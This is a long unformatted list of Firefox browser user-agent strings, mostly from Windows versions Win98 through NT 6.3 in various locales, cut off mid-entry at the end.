Firefox/9.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20120910144328 Firefox/15.0.2 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 4.0; en-US; rv:1.8.0.2) Gecko/20060418 Firefox/1.5.0.2; Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.20) Gecko/20110803 Firefox Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 AskTbUTR/3.11.3.15590 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.13) Gecko/20100914 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070211 Firefox/1.5.0.10pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060309 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060406 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080715 Firefox/2.0.0.8pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 Firefox/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070118 Firefox/2.0.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050729 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 AskTbFWV5/3.13.0.17701 Firefox/3.6.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051220 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060121 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060323 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.3C Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9a1) Gecko/20100202 Firefox/3.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.28) Gecko/20120306 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.28 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows 